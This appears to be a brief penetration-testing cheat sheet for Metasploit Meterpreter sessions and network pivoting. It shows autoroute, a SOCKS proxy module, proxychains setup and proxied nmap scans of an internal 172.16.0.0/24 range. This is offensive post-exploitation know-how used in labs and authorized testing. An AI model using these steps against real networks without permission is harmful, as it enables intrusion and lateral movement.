Meterpreter
Basic
sessions -l
sessions -u 1
sessions -i 1
backgroundd
CTRL + Z
use auxiliary/scanner/portscan/tcp
set RHOSTS 172.16.0.24
run
Pivoting
sessions -i 1
ipconfig
run autoroute -s 172.16.0.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9050
set VERSION 4a
run
Add this following line at the end of the /etc/proxychains.conf file.
[ProxyList]
# add proxy here ...
socks4 127.0.0.1 9050
proxychains -q nmap -sT 172.16.0.24 --unprivileged
Last updated